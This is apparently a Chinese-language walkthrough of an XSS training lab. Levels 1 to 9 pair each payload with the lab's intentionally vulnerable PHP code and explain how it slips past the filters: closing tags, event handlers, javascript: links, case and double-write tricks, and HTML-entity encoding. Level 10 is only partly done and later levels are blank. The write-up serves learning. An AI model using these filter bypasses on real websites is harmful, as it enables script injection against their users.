level1

无过滤

payload

<script>alert(1)</script>

前台代码

<h2 align=center>欢迎用户’”<>?Die</h2><center><img src=level1.png></center>

代码分析

观察我们输入的字符串’”<>?Die,没有做任何编码就输出到前台,考虑后台可能没有做任何过滤和编码。

后台代码

1
2
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";

代码分析

$str = $_GET["name"];获取前台传来的name变量赋值给$str
echo "<h2 align=center>欢迎用户".$str."</h2>";没有做任何过滤直接将$str拼接到h2标签中输出,由此可见构成XSS漏洞。

level2

构造闭合

payload

Die"><script>alert(1)</script>"

前台代码

1
2
3
<h2 align=center>没有找到和'&quot;&lt;&gt;()Die相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="'">()Die">

代码分析

观察我们输入的字符串’”<>?Die<h2>标签中把"<>实体编码了,继续搜索Die看到<input>标签没有被过滤,构造<input>闭合即可形成XSS。

后台代码

1
2
3
4
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">

代码分析

<h2>标签中使用htmlspecialchars函数进行了编码,但我们发现<input>是直接使用$str拼接的,构造payload闭合<input>即可造成XSS。

level3

构造闭合、绕过编码

payload

Die' onclick='alert(1)'>

前台代码

1
2
3
<h2 align=center>没有找到和'&quot;&lt;&gt;()Die相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value=''&quot;&lt;&gt;()Die'>

代码分析

根据level2的经验,猜测<input>已进行htmlspecialchars编码,使用onclick点击动作执行js,输入后点击编辑框造成XSS。

后台代码

1
2
3
4
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>

代码分析

htmlspecialchars"<>进行编码,只要不使用到这几个符号就能绕过htmlspecialchars编码过滤,造成XSS。

level4

构造闭合、绕过编码、单双引号

payload

Die" onclick='alert(1)'>

前台代码

1
2
3
<h2 align=center>没有找到和'&quot;&lt;&gt;()Die相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="'"()Die">

代码分析

<h2>标签就被进行是htmlspecialchars编码,没法构造闭合。我们看<input>标签,直接把<>给干掉了,所以不能用<>,感觉和level3相似。直接输入level3的payload试试。无果,>被干掉了。后来我又发现value="后面是双引号,第三题是单引号。直接把单引号换成双引号即可。后面的>被干掉也没事,本身还有一个>

后台代码

1
2
3
4
5
6
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">

代码分析

阅读代码发现传入的参数被用str_replace函数把<>替换为空后使用htmlspecialchars函数编码后拼接到<input>标签输出。我们把level3的payload中的单引号'改成双引号"即可造成XSS,但我感觉这是非预期解法,谷歌一波。
后来在这里找到了解法,绕过<>检测,构造onmouseover事件,事件会在鼠标指针移动到指定的元素上时发生。构造语句闭合,成功执行javascript语句。payload:Die" onmouseover="javascript:alert(1)"

level5

使用a标签,href伪协议即可绕过检测

payload

Die"> <a href='javascript:alert(1)'>"

前台代码

1
2
3
<h2 align=center>没有找到和die&quot; onclick='alert(1)'相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="die" o_nclick='alert(1)'">

代码分析

直接输入level4的payload,发现onclick的o和n中间加了一个下划线,导致onclick不能正常解释。猜测只要有on就会被加_,试了一下果真如此,尝试大小写绕过,无果,全局小写。然后想到的就是找一个类似功能的来实现XSS,但我html基础太差。度娘吧~
百度搜索”html事件属性”,全是on开头, 阿巴阿巴~ 后来看了大佬的思路,发现没有对尖括号过滤,构造pyaload:Die" <script>alert(1)</script>提交,发现又对script进行了处理。
因为我们可以构造闭合,所以构造一个a标签,使用伪协议绕过。javascript中也有script,为啥不过滤呢?小小的脑子,大大的诱惑!

后台代码

1
2
3
4
5
6
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">

代码分析

看了后台代码,上面提出的问题自然就解决了,后台只过滤固定的<script,而javascript不符合规则,所以能绕过。解题思路已经在上面给出了,使用a标签即可实现XSS漏洞。

level6

大写绕过

payload

Die" Onclick='alert(1)'

前台代码

1
2
3
<h2 align=center>没有找到和on &lt;script&gt; href相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="o_n <scr_ipt> hr_ef">

代码分析

根据level5的经验,直接输入on <script> herf点击搜索,结果可想而知,全部被干掉了。尝试大小写绕过,Href On <Script>大小写可以绕过,喜出望外。

后台代码

1
2
3
4
5
6
7
8
9
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">

代码分析

这次的代码没有转小写strtolower,利用大写即可绕过,当我发现还过滤data的时候,我就看出来了我知识还不够,我好像还没用过data

level7

双写绕过

payload

die" oonnclick='alert(1)'

前台代码

1
2
3
<h2 align=center>没有找到和on &lt;script&gt; herf相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword value=" <> herf">

代码分析

根据上面的经验,再次输入on <script> herf点击搜索。发现onscript直接被替换成空,但是href没有被替换,我们再使用a标签试试。发现script还是被干了,试试双写。绕过成功,顺利进行下一关!

后台代码

1
2
3
4
5
6
7
8
9
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">

代码分析

这关的考点就是str_replace函数,所以本地试一下。

由实验结果可得,str_replace函数只会进行一次替换,所以使用双写绕过。

level8

HTML实体编码绕过

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

前台代码

1
2
3
4
<input name=keyword  value="die&quot; oonnclick='alert(1)'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="die&quot oo_nnclick='alert(1)'">友情链接</a></center><center><img src=level8.jpg></center>

代码分析

level8前台风格都变了,可能难度升级了。go~go~go~,别管那么多先把level7的payload输入进去看看结果,发现两个地方都有返回,猜测考点可能在a标签上,直接输入javascript:alert(1)试试,发现javascript被替换成javascr_ipt,试试大小写和双写绕过,都无果。最后使用HTML实体编码进行绕过,在线网站点这里

后台代码

1
2
3
4
5
6
7
8
9
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
//*************代码部分删减*************
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

代码分析

str_replace函数我们见的已经够多了,把参数3中出现参数1的字符串用参数2替换。这次连双引号"已进行了实体编码,这关考点就是HTML实体编码,所以度娘恶补HTML实体编码的姿势。

level9

HTML实体编码、注释代码

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

前台代码

1
2
3
4
<input name=keyword  value="die\&quot; oonnclick=\'alert(1)\'http://">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="die\&quot oo_nnclick=\'alert(1)\'http://">友情链接</a></center><center><img src=level9.png></center>

代码分析

经过我的不断摸索,发现必须包含http://,否则就会<a href="您的链接不合法?有没有!">,并且对<>"'等符号进行处理,当前是不能构造闭合,根据level8的经验咱试试html实体编码,前台不会解码。我们看后台代码把~阿巴阿巴

后台代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

代码分析

看了后台代码,符合我们之前的猜想,level9在level8的基础上加了一个http://检测,那我们在level8的payload后面加一个http://,虽然绕过了检测,但是破坏了html的语法。度娘吧~
查看大佬解析得知,在level8的payload后面加一个//http://即可绕过,因为后台规定必须包含http://,但如果直接加上,会破坏html的语法,所以加//注释掉后面的语句。

level10

1

payload

前台代码

1
2
3
4
5
<h2 align=center>没有找到和\'\&quot;&lt;&gt;相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">

代码分析

我们发现有三个input标签,但是type(类型)hidden,我们把它删了,显示出来三个编辑框。
【图片】
我们构造三个get参数请求http://172.19.4.8/xss-lab/level10.php?keyword=1&t_link=Die&t_link=Die&t_sort=Diet_sort顺利解析,下面就是构造payload

1
2
3
<input name="t_link"  value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="Die" type="hidden">

后台代码

代码分析

level11

1

payload

前台代码

代码分析

后台代码

代码分析

level

1

payload

前台代码

代码分析

后台代码

代码分析